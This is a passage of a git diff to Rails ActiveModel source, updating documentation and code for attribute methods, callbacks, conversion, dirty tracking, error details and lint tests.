+  # well as handling the creation of <tt>ActiveRecord::Base</tt>-like
+  # class methods such as +table_name+.
   #
   # The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
   #
@@ -27,7 +27,9 @@ module ActiveModel
   #   or +attribute_method_prefix+.
   # * Call +define_attribute_methods+ after the other methods are called.
   # * Define the various generic +_attribute+ methods that you have declared.
-  # * Define an +attributes+ method, see below.
+  # * Define an +attributes+ method which returns a hash with each
+  #   attribute name in your model as hash key and the attribute value as hash value.
+  #   Hash keys must be strings.
   #
   # A minimal implementation could be:
   #
@@ -42,7 +44,7 @@ module ActiveModel
   #     attr_accessor :name
   #
   #     def attributes
-  #       {'name' => @name}
+  #       { 'name' => @name }
   #     end
   #
   #     private
@@ -59,13 +61,6 @@ module ActiveModel
   #       send("#{attr}=", 'Default Name')
   #     end
   #   end
-  #
-  # Note that whenever you include <tt>ActiveModel::AttributeMethods</tt> in
-  # your class, it requires you to implement an +attributes+ method which
-  # returns a hash with each attribute name in your model as hash key and the
-  # attribute value as hash value.
-  #
-  # Hash keys must be strings.
   module AttributeMethods
     extend ActiveSupport::Concern
 
@@ -173,14 +168,14 @@ module ActiveModel
       #     private
       #
       #     def reset_attribute_to_default!(attr)
-      #       ...
+      #       send("#{attr}=", 'Default Name')
       #     end
       #   end
       #
       #   person = Person.new
       #   person.name                         # => 'Gem'
       #   person.reset_name_to_default!
-      #   person.name                         # => 'Gemma'
+      #   person.name                         # => 'Default Name'
       def attribute_method_affix(*affixes)
         self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
         undefine_attribute_methods
@@ -250,7 +245,7 @@ module ActiveModel
       #     private
       #
       #     def clear_attribute(attr)
-      #       ...
+      #       send("#{attr}=", nil)
       #     end
       #   end
       def define_attribute_methods(*attr_names)
@@ -349,7 +344,7 @@ module ActiveModel
         # invoked often in a typical rails, both of which invoke the method
         # +match_attribute_method?+. The latter method iterates through an
         # array doing regular expression matches, which results in a lot of
-        # object creations. Most of the times it returns a +nil+ match. As the
+        # object creations. Most of the time it returns a +nil+ match. As the
         # match result is always the same given a +method_name+, this cache is
         # used to alleviate the GC, which ultimately also speeds up the app
         # significantly (in our case our test suite finishes 10% faster with
@@ -358,14 +353,12 @@ module ActiveModel
           @attribute_method_matchers_cache ||= ThreadSafe::Cache.new(initial_capacity: 4)
         end
 
-        def attribute_method_matcher(method_name) #:nodoc:
+        def attribute_method_matchers_matching(method_name) #:nodoc:
           attribute_method_matchers_cache.compute_if_absent(method_name) do
             # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix
             # will match every time.
             matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1)
-            match = nil
-            matchers.detect { |method| match = method.match(method_name) }
-            match
+            matchers.map { |method| method.match(method_name) }.compact
           end
         end
 
@@ -474,8 +467,8 @@ module ActiveModel
       # Returns a struct representing the matching attribute method.
       # The struct's attributes are prefix, base and suffix.
       def match_attribute_method?(method_name)
-        match = self.class.send(:attribute_method_matcher, method_name)
-        match if match && attribute_method?(match.attr_name)
+        matches = self.class.send(:attribute_method_matchers_matching, method_name)
+        matches.detect { |match| attribute_method?(match.attr_name) }
       end
 
       def missing_attribute(attr_name, stack)
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
index 377aa6ee27..6214802074 100644
--- a/activemodel/lib/active_model/callbacks.rb
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -6,7 +6,7 @@ module ActiveModel
   # Provides an interface for any class to have Active Record like callbacks.
   #
   # Like the Active Record methods, the callback chain is aborted as soon as
-  # one of the methods in the chain returns +false+.
+  # one of the methods throws +:abort+.
   #
   # First, extend ActiveModel::Callbacks from the class you are creating:
   #
@@ -30,7 +30,7 @@ module ActiveModel
   #   end
   #
   # Then in your class, you can use the +before_create+, +after_create+ and
-  # +around_create+ methods, just as you would in an Active Record module.
+  # +around_create+ methods, just as you would in an Active Record model.
   #
   #   before_create :action_before_create
   #
@@ -97,10 +97,12 @@ module ActiveModel
     #       # obj is the MyModel instance that the callback is being called on
     #     end
     #   end
+    #
+    # NOTE: +method_name+ passed to `define_model_callbacks` must not end with
+    # `!`, `?` or `=`.
     def define_model_callbacks(*callbacks)
       options = callbacks.extract_options!
       options = {
-        terminator: ->(_,result) { result == false },
         skip_after_callbacks_if_terminated: true,
         scope: [:kind, :name],
         only: [:before, :around, :after]
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
index 21e4eb3c86..9de6ea65be 100644
--- a/activemodel/lib/active_model/conversion.rb
+++ b/activemodel/lib/active_model/conversion.rb
@@ -1,5 +1,5 @@
 module ActiveModel
-  # == Active \Model Conversion
+  # == Active \Model \Conversion
   #
   # Handles default conversions: to_model, to_key, to_param, and to_partial_path.
   #
@@ -22,7 +22,7 @@ module ActiveModel
   module Conversion
     extend ActiveSupport::Concern
 
-    # If your object is already designed to implement all of the Active Model
+    # If your object is already designed to implement all of the \Active \Model
     # you can use the default <tt>:to_model</tt> implementation, which simply
     # returns +self+.
     #
@@ -33,20 +33,22 @@ module ActiveModel
     #   person = Person.new
     #   person.to_model == person # => true
     #
-    # If your model does not act like an Active Model object, then you should
+    # If your model does not act like an \Active \Model object, then you should
     # define <tt>:to_model</tt> yourself returning a proxy object that wraps
-    # your object with Active Model compliant methods.
+    # your object with \Active \Model compliant methods.
     def to_model
       self
     end
 
-    # Returns an Enumerable of all key attributes if any is set, regardless if
-    # the object is persisted or not. If there no key attributes, returns +nil+.
+    # Returns an Array of all key attributes if any is set, regardless if
+    # the object is persisted or not. Returns +nil+ if there are no key attributes.
     #
-    #   class Person < ActiveRecord::Base
+    #   class Person
+    #     include ActiveModel::Conversion
+    #     attr_accessor :id
     #   end
     #
-    #   person = Person.create
+    #   person = Person.create(id: 1)
     #   person.to_key # => [1]
     def to_key
       key = respond_to?(:id) && id
@@ -56,13 +58,18 @@ module ActiveModel
     # Returns a +string+ representing the object's key suitable for use in URLs,
     # or +nil+ if <tt>persisted?</tt> is +false+.
     #
-    #   class Person < ActiveRecord::Base
+    #   class Person
+    #     include ActiveModel::Conversion
+    #     attr_accessor :id
+    #     def persisted?
+    #       true
+    #     end
     #   end
     #
-    #   person = Person.create
+    #   person = Person.create(id: 1)
     #   person.to_param # => "1"
     def to_param
-      persisted? ? to_key.join('-') : nil
+      (persisted? && key = to_key) ? key.join('-') : nil
     end
 
     # Returns a +string+ identifying the path associated with the object.
@@ -83,8 +90,8 @@ module ActiveModel
       # internal method and should not be accessed directly.
       def _to_partial_path #:nodoc:
         @_to_partial_path ||= begin
-          element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self))
-          collection = ActiveSupport::Inflector.tableize(self)
+          element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(name))
+          collection = ActiveSupport::Inflector.tableize(name)
           "#{collection}/#{element}".freeze
         end
       end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
index ea5ddf71de..ca5dac272f 100644
--- a/activemodel/lib/active_model/dirty.rb
+++ b/activemodel/lib/active_model/dirty.rb
@@ -12,15 +12,12 @@ module ActiveModel
   # * <tt>include ActiveModel::Dirty</tt> in your object.
   # * Call <tt>define_attribute_methods</tt> passing each method you want to
   #   track.
-  # * Call <tt>attr_name_will_change!</tt> before each change to the tracked
+  # * Call <tt>[attr_name]_will_change!</tt> before each change to the tracked
   #   attribute.
-  #
-  # If you wish to also track previous changes on save or update, you need to
-  # add:
-  #
-  #   @previously_changed = changes
-  #
-  # inside of your save or update method.
+  # * Call <tt>changes_applied</tt> after the changes are persisted.
+  # * Call <tt>clear_changes_information</tt> when you want to reset the changes
+  #   information.
+  # * Call <tt>restore_attributes</tt> when you want to restore previous data.
   #
   # A minimal implementation could be:
   #
@@ -39,21 +36,33 @@ module ActiveModel
   #     end
   #
   #     def save
-  #       @previously_changed = changes
-  #       @changed_attributes.clear
+  #       # do persistence work
+  #
+  #       changes_applied
+  #     end
+  #
+  #     def reload!
+  #       # get the values from the persistence layer
+  #
+  #       clear_changes_information
+  #     end
+  #
+  #     def rollback!
+  #       restore_attributes
   #     end
   #   end
   #
-  # A newly instantiated object is unchanged:
+  # A newly instantiated +Person+ object is unchanged:
   #
-  #   person = Person.find_by(name: 'Uncle Bob')
-  #   person.changed?       # => false
+  #   person = Person.new
+  #   person.changed? # => false
   #
   # Change the name:
   #
   #   person.name = 'Bob'
   #   person.changed?       # => true
   #   person.name_changed?  # => true
+  #   person.name_changed?(from: "Uncle Bob", to: "Bob") # => true
   #   person.name_was       # => "Uncle Bob"
   #   person.name_change    # => ["Uncle Bob", "Bob"]
   #   person.name = 'Bill'
@@ -62,36 +71,51 @@ module ActiveModel
   # Save the changes:
   #
   #   person.save
-  #   person.changed?       # => false
-  #   person.name_changed?  # => false
+  #   person.changed?      # => false
+  #   person.name_changed? # => false
+  #
+  # Reset the changes:
+  #
+  #   person.previous_changes # => {"name" => ["Uncle Bob", "Bill"]}
+  #   person.reload!
+  #   person.previous_changes # => {}
+  #
+  # Rollback the changes:
+  #
+  #   person.name = "Uncle Bob"
+  #   person.rollback!
+  #   person.name          # => "Bill"
+  #   person.name_changed? # => false
   #
   # Assigning the same value leaves the attribute unchanged:
   #
   #   person.name = 'Bill'
-  #   person.name_changed?  # => false
-  #   person.name_change    # => nil
+  #   person.name_changed? # => false
+  #   person.name_change   # => nil
   #
   # Which attributes have changed?
   #
   #   person.name = 'Bob'
-  #   person.changed        # => ["name"]
-  #   person.changes        # => {"name" => ["Bill", "Bob"]}
+  #   person.changed # => ["name"]
+  #   person.changes # => {"name" => ["Bill", "Bob"]}
   #
-  # If an attribute is modified in-place then make use of <tt>[attribute_name]_will_change!</tt>
-  # to mark that the attribute is changing. Otherwise ActiveModel can't track
-  # changes to in-place attributes.
+  # If an attribute is modified in-place then make use of
+  # +[attribute_name]_will_change!+ to mark that the attribute is changing.
+  # Otherwise \Active \Model can't track changes to in-place attributes. Note
+  # that Active Record can detect in-place modifications automatically. You do
+  # not need to call +[attribute_name]_will_change!+ on Active Record models.
   #
   #   person.name_will_change!
-  #   person.name_change    # => ["Bill", "Bill"]
+  #   person.name_change # => ["Bill", "Bill"]
   #   person.name << 'y'
-  #   person.name_change    # => ["Bill", "Billy"]
+  #   person.name_change # => ["Bill", "Billy"]
   module Dirty
     extend ActiveSupport::Concern
     include ActiveModel::AttributeMethods
 
     included do
       attribute_method_suffix '_changed?', '_change', '_will_change!', '_was'
-      attribute_method_affix prefix: 'reset_', suffix: '!'
+      attribute_method_affix prefix: 'restore_', suffix: '!'
     end
 
     # Returns +true+ if any attribute have unsaved changes, +false+ otherwise.
@@ -129,7 +153,7 @@ module ActiveModel
     #   person.save
     #   person.previous_changes # => {"name" => ["bob", "robert"]}
     def previous_changes
-      @previously_changed
+      @previously_changed ||= ActiveSupport::HashWithIndifferentAccess.new
     end
 
     # Returns a hash of the attributes with unsaved changes indicating their original
@@ -139,21 +163,46 @@ module ActiveModel
     #   person.name = 'robert'
     #   person.changed_attributes # => {"name" => "bob"}
     def changed_attributes
-      @changed_attributes ||= {}
+      @changed_attributes ||= ActiveSupport::HashWithIndifferentAccess.new
     end
 
     # Handle <tt>*_changed?</tt> for +method_missing+.
-    def attribute_changed?(attr)
-      changed_attributes.include?(attr)
+    def attribute_changed?(attr, options = {}) #:nodoc:
+      result = changes_include?(attr)
+      result &&= options[:to] == __send__(attr) if options.key?(:to)
+      result &&= options[:from] == changed_attributes[attr] if options.key?(:from)
+      result
     end
 
     # Handle <tt>*_was</tt> for +method_missing+.
-    def attribute_was(attr)
+    def attribute_was(attr) # :nodoc:
       attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
     end
 
+    # Restore all previous data of the provided attributes.
+    def restore_attributes(attributes = changed)
+      attributes.each { |attr| restore_attribute! attr }
+    end
+
     private
 
+      def changes_include?(attr_name)
+        attributes_changed_by_setter.include?(attr_name)
+      end
+      alias attribute_changed_by_setter? changes_include?
+
+      # Removes current changes and makes them accessible through +previous_changes+.
+      def changes_applied # :doc:
+        @previously_changed = changes
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+      end
+
+      # Clear all dirty data: current changes and previous changes.
+      def clear_changes_information # :doc:
+        @previously_changed = ActiveSupport::HashWithIndifferentAccess.new
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+      end
+
       # Handle <tt>*_change</tt> for +method_missing+.
       def attribute_change(attr)
         [changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
@@ -169,15 +218,29 @@ module ActiveModel
         rescue TypeError, NoMethodError
         end
 
-        changed_attributes[attr] = value
+        set_attribute_was(attr, value)
       end
 
-      # Handle <tt>reset_*!</tt> for +method_missing+.
-      def reset_attribute!(attr)
+      # Handle <tt>restore_*!</tt> for +method_missing+.
+      def restore_attribute!(attr)
         if attribute_changed?(attr)
           __send__("#{attr}=", changed_attributes[attr])
-          changed_attributes.delete(attr)
+          clear_attribute_changes([attr])
         end
       end
+
+      # This is necessary because `changed_attributes` might be overridden in
+      # other implemntations (e.g. in `ActiveRecord`)
+      alias_method :attributes_changed_by_setter, :changed_attributes # :nodoc:
+
+      # Force an attribute to have a particular "before" value
+      def set_attribute_was(attr, old_value)
+        attributes_changed_by_setter[attr] = old_value
+      end
+
+      # Remove changes information for the provided attributes.
+      def clear_attribute_changes(attributes) # :doc:
+        attributes_changed_by_setter.except!(*attributes)
+      end
   end
 end
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index cf7551e4f4..a809c72ccd 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -2,12 +2,13 @@
 
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/object/deep_dup'
 
 module ActiveModel
   # == Active \Model \Errors
   #
   # Provides a modified +Hash+ that you can include in your object
-  # for handling error messages and interacting with Action Pack helpers.
+  # for handling error messages and interacting with Action View helpers.
   #
   # A minimal implementation could be:
   #
@@ -23,7 +24,7 @@ module ActiveModel
   #     attr_reader   :errors
   #
   #     def validate!
-  #       errors.add(:name, "can not be nil") if name == nil
+  #       errors.add(:name, :blank, message: "cannot be nil") if name.nil?
   #     end
   #
   #     # The following methods are needed to be minimally implemented
@@ -51,15 +52,16 @@ module ActiveModel
   # The above allows you to do:
   #
   #   person = Person.new
-  #   person.validate!            # => ["can not be nil"]
-  #   person.errors.full_messages # => ["name can not be nil"]
+  #   person.validate!            # => ["cannot be nil"]
+  #   person.errors.full_messages # => ["name cannot be nil"]
   #   # etc..
   class Errors
     include Enumerable
 
     CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict]
+    MESSAGE_OPTIONS = [:message]
 
-    attr_reader :messages
+    attr_reader :messages, :details
 
     # Pass in the instance of the object that is using the errors object.
     #
@@ -71,38 +73,43 @@ module ActiveModel
     def initialize(base)
       @base     = base
       @messages = {}
+      @details  = Hash.new { |details, attribute| details[attribute] = [] }
     end
 
     def initialize_dup(other) # :nodoc:
       @messages = other.messages.dup
+      @details  = other.details.deep_dup
       super
     end
 
     # Clear the error messages.
     #
-    #   person.errors.full_messages # => ["name can not be nil"]
+    #   person.errors.full_messages # => ["name cannot be nil"]
     #   person.errors.clear
     #   person.errors.full_messages # => []
     def clear
       messages.clear
+      details.clear
     end
 
     # Returns +true+ if the error messages include an error for the given key
     # +attribute+, +false+ otherwise.
     #
-    #   person.errors.messages        # => {:name=>["can not be nil"]}
+    #   person.errors.messages        # => {:name=>["cannot be nil"]}
     #   person.errors.include?(:name) # => true
     #   person.errors.include?(:age)  # => false
     def include?(attribute)
-      (v = messages[attribute]) && v.any?
+      messages[attribute].present?
     end
     # aliases include?
     alias :has_key? :include?
+    # aliases include?
+    alias :key? :include?
 
     # Get messages for +key+.
     #
-    #   person.errors.messages   # => {:name=>["can not be nil"]}
-    #   person.errors.get(:name) # => ["can not be nil"]
+    #   person.errors.messages   # => {:name=>["cannot be nil"]}
+    #   person.errors.get(:name) # => ["cannot be nil"]
     #   person.errors.get(:age)  # => nil
     def get(key)
       messages[key]
@@ -110,7 +117,7 @@ module ActiveModel
 
     # Set messages for +key+ to +value+.
     #
-    #   person.errors.get(:name) # => ["can not be nil"]
+    #   person.errors.get(:name) # => ["cannot be nil"]
     #   person.errors.set(:name, ["can't be nil"])
     #   person.errors.get(:name) # => ["can't be nil"]
     def set(key, value)
@@ -119,18 +126,19 @@ module ActiveModel
 
     # Delete messages for +key+. Returns the deleted messages.
     #
-    #   person.errors.get(:name)    # => ["can not be nil"]
-    #   person.errors.delete(:name) # => ["can not be nil"]
+    #   person.errors.get(:name)    # => ["cannot be nil"]
+    #   person.errors.delete(:name) # => ["cannot be nil"]
     #   person.errors.get(:name)    # => nil
     def delete(key)
       messages.delete(key)
+      details.delete(key)
     end
 
     # When passed a symbol or a name of a method, returns an array of errors
     # for the method.
     #
-    #   person.errors[:name]  # => ["can not be nil"]
-    #   person.errors['name'] # => ["can not be nil"]
+    #   person.errors[:name]  # => ["cannot be nil"]
+    #   person.errors['name'] # => ["cannot be nil"]
     def [](attribute)
       get(attribute.to_sym) || set(attribute.to_sym, [])
     end
@@ -147,12 +155,12 @@ module ActiveModel
     # Yields the attribute and the error for that attribute. If the attribute
     # has more than one error message, yields once for each error message.
     #
-    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.add(:name, :blank, message: "can't be blank")
     #   person.errors.each do |attribute, error|
     #     # Will yield :name and "can't be blank"
     #   end
     #
-    #   person.errors.add(:name, "must be specified")
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
     #   person.errors.each do |attribute, error|
     #     # Will yield :name and "can't be blank"
     #     # then yield :name and "must be specified"
@@ -165,9 +173,9 @@ module ActiveModel
 
     # Returns the number of error messages.
     #
-    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.add(:name, :blank, message: "can't be blank")
     #   person.errors.size # => 1
-    #   person.errors.add(:name, "must be specified")
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
     #   person.errors.size # => 2
     def size
       values.flatten.size
@@ -175,15 +183,15 @@ module ActiveModel
 
     # Returns all message values.
     #
-    #   person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
-    #   person.errors.values   # => [["can not be nil", "must be specified"]]
+    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
+    #   person.errors.values   # => [["cannot be nil", "must be specified"]]
     def values
       messages.values
     end
 
     # Returns all message keys.
     #
-    #   person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
+    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
     #   person.errors.keys     # => [:name]
     def keys
       messages.keys
@@ -191,8 +199,8 @@ module ActiveModel
 
     # Returns an array of error messages, with the attribute name included.
     #
-    #   person.errors.add(:name, "can't be blank")
-    #   person.errors.add(:name, "must be specified")
+    #   person.errors.add(:name, :blank, message: "can't be blank")
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
     #   person.errors.to_a # => ["name can't be blank", "name must be specified"]
     def to_a
       full_messages
@@ -200,9 +208,9 @@ module ActiveModel
 
     # Returns the number of error messages.
     #
-    #   person.errors.add(:name, "can't be blank")
+    #   person.errors.add(:name, :blank, message: "can't be blank")
     #   person.errors.count # => 1
-    #   person.errors.add(:name, "must be specified")
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
     #   person.errors.count # => 2
     def count
       to_a.size
@@ -211,7 +219,7 @@ module ActiveModel
     # Returns +true+ if no errors are found, +false+ otherwise.
     # If the error message is a string it can be empty.
     #
-    #   person.errors.full_messages # => ["name can not be nil"]
+    #   person.errors.full_messages # => ["name cannot be nil"]
     #   person.errors.empty?        # => false
     def empty?
       all? { |k, v| v && v.empty? && !v.is_a?(String) }
@@ -221,8 +229,8 @@ module ActiveModel
 
     # Returns an xml formatted representation of the Errors hash.
     #
-    #   person.errors.add(:name, "can't be blank")
-    #   person.errors.add(:name, "must be specified")
+    #   person.errors.add(:name, :blank, message: "can't be blank")
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
     #   person.errors.to_xml
     #   # =>
     #   #  <?xml version=\"1.0\" encoding=\"UTF-8\"?>
@@ -238,8 +246,8 @@ module ActiveModel
     # object. You can pass the <tt>:full_messages</tt> option. This determines
     # if the json object should contain full messages or not (false by default).
     #
-    #   person.errors.as_json                      # => {:name=>["can not be nil"]}
-    #   person.errors.as_json(full_messages: true) # => {:name=>["name can not be nil"]}
+    #   person.errors.as_json                      # => {:name=>["cannot be nil"]}
+    #   person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
     def as_json(options=nil)
       to_hash(options && options[:full_messages])
     end
@@ -247,31 +255,32 @@ module ActiveModel
     # Returns a Hash of attributes with their error messages. If +full_messages+
     # is +true+, it will contain full messages (see +full_message+).
     #
-    #   person.errors.to_hash       # => {:name=>["can not be nil"]}
-    #   person.errors.to_hash(true) # => {:name=>["name can not be nil"]}
+    #   person.errors.to_hash       # => {:name=>["cannot be nil"]}
+    #   person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
     def to_hash(full_messages = false)
       if full_messages
-        messages = {}
-        self.messages.each do |attribute, array|
+        self.messages.each_with_object({}) do |(attribute, array), messages|
           messages[attribute] = array.map { |message| full_message(attribute, message) }
         end
-        messages
       else
         self.messages.dup
       end
     end
 
-    # Adds +message+ to the error messages on +attribute+. More than one error
-    # can be added to the same +attribute+. If no +message+ is supplied,
-    # <tt>:invalid</tt> is assumed.
+    # Adds +message+ to the error messages and used validator type to +details+ on +attribute+.
+    # More than one error can be added to the same +attribute+.
+    # If no +message+ is supplied, <tt>:invalid</tt> is assumed.
     #
     #   person.errors.add(:name)
     #   # => ["is invalid"]
-    #   person.errors.add(:name, 'must be implemented')
+    #   person.errors.add(:name, :not_implemented, message: "must be implemented")
     #   # => ["is invalid", "must be implemented"]
     #
     #   person.errors.messages
-    #   # => {:name=>["must be implemented", "is invalid"]}
+    #   # => {:name=>["is invalid", "must be implemented"]}
+    #
+    #   person.errors.details
+    #   # => {:name=>[{error: :not_implemented}, {error: :invalid}]}
     #
     # If +message+ is a symbol, it will be translated using the appropriate
     # scope (see +generate_message+).
@@ -279,23 +288,36 @@ module ActiveModel
     # If +message+ is a proc, it will be called, allowing for things like
     # <tt>Time.now</tt> to be used within an error.
     #
-    # If the <tt>:strict</tt> option is set to true will raise
+    # If the <tt>:strict</tt> option is set to +true+, it will raise
     # ActiveModel::StrictValidationFailed instead of adding the error.
     # <tt>:strict</tt> option can also be set to any other exception.
     #
-    #   person.errors.add(:name, nil, strict: true)
+    #   person.errors.add(:name, :invalid, strict: true)
     #   # => ActiveModel::StrictValidationFailed: name is invalid
-    #   person.errors.add(:name, nil, strict: NameIsInvalid)
+    #   person.errors.add(:name, :invalid, strict: NameIsInvalid)
     #   # => NameIsInvalid: name is invalid
     #
     #   person.errors.messages # => {}
+    #
+    # +attribute+ should be set to <tt>:base</tt> if the error is not
+    # directly associated with a single attribute.
+    #
+    #   person.errors.add(:base, :name_or_email_blank,
+    #     message: "either name or email must be present")
+    #   person.errors.messages
+    #   # => {:base=>["either name or email must be present"]}
+    #   person.errors.details
+    #   # => {:base=>[{error: :name_or_email_blank}]}
     def add(attribute, message = :invalid, options = {})
+      message = message.call if message.respond_to?(:call)
+      detail  = normalize_detail(attribute, message, options)
       message = normalize_message(attribute, message, options)
       if exception = options[:strict]
         exception = ActiveModel::StrictValidationFailed if exception == true
         raise exception, full_message(attribute, message)
       end
 
+      details[attribute.to_sym] << detail
       self[attribute] << message
     end
 
@@ -332,6 +354,7 @@ module ActiveModel
     #   person.errors.add :name, :blank
     #   person.errors.added? :name, :blank # => true
     def added?(attribute, message = :invalid, options = {})
+      message = message.call if message.respond_to?(:call)
       message = normalize_message(attribute, message, options)
       self[attribute].include? message
     end
@@ -381,8 +404,8 @@ module ActiveModel
     # Translates an error message in its default scope
     # (<tt>activemodel.errors.messages</tt>).
     #
-    # Error messages are first looked up in <tt>models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>,
-    # if it's not there, it's looked up in <tt>models.MODEL.MESSAGE</tt> and if
+    # Error messages are first looked up in <tt>activemodel.errors.models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>,
+    # if it's not there, it's looked up in <tt>activemodel.errors.models.MODEL.MESSAGE</tt> and if
     # that is not there also, it returns the translation of the default message
     # (e.g. <tt>activemodel.errors.messages.MESSAGE</tt>). The translated model
     # name, translated attribute name and the value are available for
@@ -427,7 +450,7 @@ module ActiveModel
 
       options = {
         default: defaults,
-        model: @base.class.model_name.human,
+        model: @base.model_name.human,
         attribute: @base.class.human_attribute_name(attribute),
         value: value
       }.merge!(options)
@@ -440,12 +463,14 @@ module ActiveModel
       case message
       when Symbol
         generate_message(attribute, message, options.except(*CALLBACKS_OPTIONS))
-      when Proc
-        message.call
       else
         message
       end
     end
+
+    def normalize_detail(attribute, message, options)
+      { error: message }.merge(options.except(*CALLBACKS_OPTIONS + MESSAGE_OPTIONS))
+    end
   end
 
   # Raised when a validation cannot be corrected by end users and are considered
diff --git a/activemodel/lib/active_model/forbidden_attributes_protection.rb b/activemodel/lib/active_model/forbidden_attributes_protection.rb
index 7468f95548..b4fa378601 100644
--- a/activemodel/lib/active_model/forbidden_attributes_protection.rb
+++ b/activemodel/lib/active_model/forbidden_attributes_protection.rb
@@ -23,5 +23,6 @@ module ActiveModel
           attributes
         end
       end
+      alias :sanitize_forbidden_attributes :sanitize_for_mass_assignment
   end
 end
diff --git a/activemodel/lib/active_model/gem_version.rb b/activemodel/lib/active_model/gem_version.rb
new file mode 100644
index 0000000000..762f4fe939
--- /dev/null
+++ b/activemodel/lib/active_model/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveModel
+  # Returns the version of the currently loaded \Active \Model as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 0
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index 46b446dc08..010eaeb170 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -13,7 +13,7 @@ module ActiveModel
     #
     # These tests do not attempt to determine the semantic correctness of the
     # returned values. For instance, you could implement <tt>valid?</tt> to
-    # always return true, and the tests would pass. It is up to you to ensure
+    # always return +true+, and the tests would pass. It is up to you to ensure
     # that the values are semantically meaningful.
     #
     # Objects you pass in are expected to return a compliant object from a call
@@ -21,28 +21,27 @@ module ActiveModel
     # +self+.
     module Tests
 
-      # == Responds to <tt>to_key</tt>
+      # Passes if the object's model responds to <tt>to_key</tt> and if calling
+      # this method returns +nil+ when the object is not persisted.
+      # Fails otherwise.
       #
-      # Returns an Enumerable of all (primary) key attributes
-      # or nil if <tt>model.persisted?</tt> is false. This is used by
-      # <tt>dom_id</tt> to generate unique ids for the object.
+      # <tt>to_key</tt> returns an Enumerable of all (primary) key attributes
+      # of the model, and is used to a generate unique DOM id for the object.
       def test_to_key
         assert model.respond_to?(:to_key), "The model should respond to to_key"
         def model.persisted?() false end
         assert model.to_key.nil?, "to_key should return nil when `persisted?` returns false"
       end
 
-      # == Responds to <tt>to_param</tt>
-      #
-      # Returns a string representing the object's key suitable for use in URLs
-      # or +nil+ if <tt>model.persisted?</tt> is +false+.
+      # Passes if the object's model responds to <tt>to_param</tt> and if
+      # calling this method returns +nil+ when the object is not persisted.
+      # Fails otherwise.
       #
+      # <tt>to_param</tt> is used to represent the object's key in URLs.
       # Implementers can decide to either raise an exception or provide a
       # default in case the record uses a composite primary key. There are no
       # tests for this behavior in lint because it doesn't make sense to force
       # any of the possible implementation strategies on the implementer.
-      # However, if the resource is not persisted?, then <tt>to_param</tt>
-      # should always return +nil+.
       def test_to_param
         assert model.respond_to?(:to_param), "The model should respond to to_param"
         def model.to_key() [1] end
@@ -50,47 +49,55 @@ module ActiveModel
         assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false"
       end
 
-      # == Responds to <tt>to_partial_path</tt>
+      # Passes if the object's model responds to <tt>to_partial_path</tt> and if
+      # calling this method returns a string. Fails otherwise.
       #
-      # Returns a string giving a relative path. This is used for looking up
-      # partials. For example, a BlogPost model might return "blog_posts/blog_post"
+      # <tt>to_partial_path</tt> is used for looking up partials. For example,
+      # a BlogPost model might return "blog_posts/blog_post".
       def test_to_partial_path
         assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path"
         assert_kind_of String, model.to_partial_path
       end
 
-      # == Responds to <tt>persisted?</tt>
+      # Passes if the object's model responds to <tt>persisted?</tt> and if
+      # calling this method returns either +true+ or +false+. Fails otherwise.
       #
-      # Returns a boolean that specifies whether the object has been persisted
-      # yet. This is used when calculating the URL for an object. If the object
-      # is not persisted, a form for that object, for instance, will route to
-      # the create action. If it is persisted, a form for the object will routes
-      # to the update action.
+      # <tt>persisted?</tt> is used when calculating the URL for an object.
+      # If the object is not persisted, a form for that object, for instance,
+      # will route to the create action. If it is persisted, a form for the
+      # object will route to the update action.
       def test_persisted?
         assert model.respond_to?(:persisted?), "The model should respond to persisted?"
         assert_boolean model.persisted?, "persisted?"
       end
 
-      # == \Naming
+      # Passes if the object's model responds to <tt>model_name</tt> both as
+      # an instance method and as a class method, and if calling this method
+      # returns a string with some convenience methods: <tt>:human</tt>,
+      # <tt>:singular</tt> and <tt>:plural</tt>.
       #
-      # Model.model_name must return a string with some convenience methods:
